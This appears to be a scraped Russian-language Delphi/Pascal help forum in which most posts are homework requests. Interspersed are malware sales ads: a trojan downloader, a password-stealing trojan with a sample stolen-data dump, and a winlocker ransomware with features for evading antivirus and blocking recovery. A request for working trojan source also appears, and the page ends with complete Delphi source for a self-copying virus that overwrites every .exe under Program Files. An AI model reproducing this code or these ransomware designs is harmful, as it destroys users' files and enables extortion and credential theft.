Откройте свой Мир!

Привет всем))у кого есть интересные задачки для решения в паскале?желательно с готовыми листингами для самопроверки)))

Вычисление произведения последовательно вводимых чисел. Определить максимальный по модулю элемент.
Остановить обработку при вводе признака конца-
число из диапазона от -5 до 5.(включительно)
Тип обработки данных-целые.

Здравствуйте. Есть вопрос, может кто сталкивался. Есть поток TThread в программе, работающий с бд. С помощью Synchronize на главную форму из него передается информация о ходе выполнения. В этом же модуле присутствует еще один класс для работы с CSV файлами. При его работе тоже надо передать информацию на главную форму. Но для этого классаметод Synchronize не работает, так как это обычный класс, а не TThread. Как корректно передать данные из него на главную форму? Можно ли вызвать метод потока? Спасибо всем кто откликнется.

Задана целочисленная квадратная матрица размером n*n. Написать программу, преобразующую исходную матрицу по правилу: начетные столбцы разделить на среднее значение диагональных элементов матрицы, а четные оставить без изменения.

Как это решить.. подскажите пожалуйста))Заранее спасибо))

как в паскале просчитать такой факториал a=(2n-1)! ???

Продам свои произведения:

Trojan Downloader
(Скачивает файлы из интернета без ведома пользователя и запускает их!!)

Trojan info 
(Присылает на емайл адрес файл паролей майл агента+ Захват экрана откуда был запущен + полную инфу о компе вот пример:

Ip адреса: (1-локалка, 2-Интернет!!!)
10.37.0.78
92.122.85.55
Пользователь:Admin
Имя компа:Comp
%windir%:C:\WINDOWS
C:C: 198459,20mb. Свободно: 154731,88mb.
D:
E:E: 198459,20mb. Свободно: 154731,88mb.
F:
G:
Мак адресс:99-E6-BS-71-B4-20
Расширение экрана:1440 x 900
Common files:C:\Program Files
HDD Number:2964396647
Dir Program Files:C:\Program Files
Оперативка:2 096 232 KB
Операционная система: Microsoft Windows XP
Id продукта: 76356-640-1464557-23412

Программный фейк:
Выкладываю скрины:
1) http://s005.radikal.ru/i210/1010/11/5dafe4d5c4d3.jpg
2) http://s39.radikal.ru/i086/1010/47/913b459017a0.jpg

Винлокер:
+ Ничем не палится (по крайней мере известными антивирями)
+ Блокирует безопасный режим
+ Добавляется в автозагрузку
+ Убрать можно только если ввести определенный код
+ Блокирует диспетчер задач
+ Блокирует реестр
+ Блокирует msconfig
+ Удобный дизайн
+ Полностью блокирует windows
+ Закрывает explorer
+ Если правильно ввести код удалится из автозагрузки и разблокирует вышеперечисленные программы и безопасный 
режим
+ Копирует себя в директорию WINDOWS 
+ Удалить такой Винлокер будет очень сложно придется использовать LiveСD (еще придется хорошо поискать его) или 
просто ввести код
+ Могу сделать любой пароль
+ Любой дизайн
+ Любой размер формы и самого файла
+ Самоудаление после активации 
+ Отдам почти даром
+ На таком Винлоке можно не плохо заработать
+ Полностью на весь экран
+ Не даст открыть программы такие как msconfig, regedit, taskmgr, regdt32... Ну и т.п
+ Можно полностью заблокировать безопасный режим! (по желанию)
+ При нескольких неправильных попыток ввода кода Система завершит работу синим экраном смерти! (BSOD)
+ При закрытии снова откроется так что закрыть его тока можно кодом

Выкладываю скрин:
http://s43.radikal.ru/i100/1010/b3/5dbc2101d523.jpg
Ну и еще один троян он ворует историю переписки mail agent

Альтернатива IT-шным сообществам mail.ru и другим подобным платформам


[ Читать далее... → ]

Даны натуральные числа M и N. Найти решения всех квадратных уравнений: A*X^2 + B*X - 1 =0, где A=1, 2, ..., M; B =1,2. ..., N.

Народ помогите зделать так чтоб в дельфи программа вывела все числа до 1000в мемо!
0
1
2
3
4
5
6
7
8
..
и вот так вот до 1000
сам пробовал не получается раньше делал а щас не помню как помогите пожалуйста!! 

Помогите нати источник с чего можно было написать контрольную вот по этой теме  -"Сформулируйте методы и принципы одноуровневой
зашиты для ОС."

Помогите пожалуйста решить несколько задач!
1)Задав одномерный массив из n вещественных или целых
элементов реализовать обработку массива, как указано в варианте. Длина массива N задается пользователем. Исходные
данные задать самостоятельно, учитывая формат элементов массива A.
Исходные данные должны вводиться с проверкой на область допустимых
значений. Тип результата определяется из контекста.
Вариант 11:
1) найти номер минимального по модулю элемента массива;
2) сумму модулей элементов массива, расположенных после
первого отрицательного элемента.
Сжать массив, удалив из него элементы, расположенные в
интервале [a,b].

2)Используя циклические структуры «for», «do-while», «repeat-until» решить задачу,
предложенную в соответствии с вариантом.
Организация вложенных циклов.
Варианты приведены ниже.
вариант 11:
An=(n!)/((2*n-1)!n^n)

Ёу! Чуваки! Где можно взять сурсы троянов для Делфи (7)???

Дайте кто нить полный листинг программный код (рабочий) трояна на Делфи, что бы Антивирусами всеми палился.

Напишите ниже список сайтов каких нить нормальных по этой теме.

на прогу написанную на Turbo Pascal??

Как с помощью Delphi7 в Windows XP,Vista,7 добавить (удалить,изменить пароль,отключить) пользователя.
В общем работа с учётными записями пользователей средствами Delphi7.
Как?
Желательно полные примеры с описаниями.

Продам свое ПО написанное в дельфях! Имеется фейки, трояны вирусы!
Также пишу под заказ любой сложности могу продать программу блокирующую
винду (винлокер, вирус вымогатель) также любой сложности! О цене
договоримся!!  Не дороги пишите!!! Жду!!! Оплата происходит на вебмани,
яндекс деньгах, смс, деньги на телефон, майл деньги!!!

Народ посоветуйте хороший не дорогой vps или vds сервер!!! Тока чтоб не дорого! Мне 50 мб хватит!

базы данных «Автопарк»
Марка автомобиля    Модель    Цвет    Год выпуска    Аварийность

Запросы:
-    вывести сведения об автомобилях заданной марки, которые находятся не в аварийном состоянии;
-    выведите элементы списка, у которых цвет начинается с одной из двух заданных букв;
-    отсортируйте список автомобилей заданной модели по возрастанию года выпуска.

вот такое кто может сочинить?..а то ппц какой то а не база...

Народ кто нить умеет работать с 2D графикой?? Научите плизз, а то  я ваще в этом деле нуб=(

НАРОД А КАК СДЕЛАТЬ ЧТОБЫ МОЙ ВИРЬ НА БЕЗОПАСНОМ РЕЖИМЕ  ВЫЛАЗИЛ КТО НИТЬ ЗНАЕТ??

Продам хороший блокиратор виндовс мной написанный на дельфи пишите в личку если че:) Также продаю множество троянов и вирусов написанных в дельфи или под DOS!!!

Помогите решить задачу...
 
Дан массив А ненулевых целых чисел размера 10. Вывести значение тех его элементов АК, которые удовлетворяют неравенству АК < А10. Если таких элементов нет, то вывести 0.

мне необходимо решить задачки по программированию на паскале, среда дельфи. я щас
пытаюсь что то сама сделать, немножко получается, но не совсем. никак
не могу понять как используются процедуры и функции.



задачки такие: дана целочисленная квадратная матрица. определить,

1 задача. произведение элементов в тех строках, которые не содержат отрицательных элементов (оформить в виде функции)

2 задача. максимум среди сумм элементов диагоналей, параллельных главной диагонали матрицы (оформить в виде процедуры)



если кто-нибудь сможет или решиться:) помочь, могу выслать свои черновики. заранее спасибо, буду очень благодарна.

Помогите решить несколько задач)
1. Робот может перемещаться в четырех направлениях
(«С» - север, «З» - запад, «Ю» - юг, «В» - восток) и принимать три цифровые
команды: 0 – продолжать движение, 1 – поворот налево, -1 – поворот направо. Дан
символ С – исходное направление
робота и целое число N – посланная ему команда. Вывести направление
робота после выполнения полученной команды.

2. Элементы окружности пронумерованы следующим
образом: 1 – радиус R, 2 – диаметр D=2*R, 3 – длина L=2*ПИ*R, 4 – площадь круга S=ПИ*R2. Дан номер одного из этих элементов и его
значение. Вывести значение остальных элементов данной окружности (в том же
порядке). В качестве значения ПИ использовать 3.14.

3. Дано целое число N(>0). Если оно является степенью числа 3, то вывести True, если не является – вывести False.

4. Дано натуральное число N,
действительно число X. Вычислить сумму ряда ((i+1)x)/i!

5. Рассчитать сумму бесконечного ряда. Суммирование
проводить, пока очередной член ряда по модулю не станет меньше заданной
точности e. Результат сравнить с известным значением (ST), а погрешность сопоставить с величиной e. ST = 7ПИ4/720, e=10-7

6. Вывести числа от
1 до N. (N/3)<=0.01

Всем привет. Я начинающий программист, так что строго не судите. Писал я тут маломальскую программу на Delphi, и чтото щолкнуло в голове захотелось попробовать написать простинький вирус.
Написал:

program Yerihon;

{$APPTYPE CONSOLE}

uses
  Windows,
  SysUtils,
  Classes,
  Forms,
  Dialogs;

var
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;
  Program_Files : string;

Procedure Find(var S : TStringList);
 var
 cDir : string;
 SearchRec: TSearchRec; // информация о файле или каталоге
begin
GetDir(0,cDir); // получить имя текущего каталога
 if cDir[length(cDir)] <> '\' then cDir := cDir+'\';
 if FindFirst('*.exe', faArchive,SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
  begin
  S.Add(cDir + SearchRec.Name);
  end;
  until FindNext(SearchRec) <> 0;
// обработка подкаталогов текущего каталога
 if FindFirst('*', faDirectory, SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faDirectory) = SearchRec.Attr then
  begin
  if SearchRec.Name[1] <> '.' then
  begin
  ChDir(SearchRec.Name);// войти в каталог
  Find(S); // выполнить поиск в подкаталоге
  ChDir('..');// выйти из каталога
  end;
  end;
  until FindNext(SearchRec) <> 0;
end;

 var
 S : TStringList;
 i : integer;
 f : TextFile;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
 if Res > 0 then WinDir := StrPas(WinDirP);
 if FileExists(Windir + '\Goodwin.txt') then MessageDlg('Твоиму компу хана!', mtWarning, [mbOK], 0)
  else
  begin
  AssignFile(f, Windir + '\Goodwin.txt');
  Rewrite(f);
  Write(f, 'Goodwin');
  CloseFile(f);
  Program_Files := Windir[1] + ':\Program Files';
  S := TStringList.Create;
  ChDir(Program_Files);
  Find(S);
  for i := 0 to S.Count - 1 do CopyFile(PChar(Application.ExeName), PChar(S.Strings[i]), false);
  end;
end.

Вопрос:
Написанное можно хотябы назвать вирусом?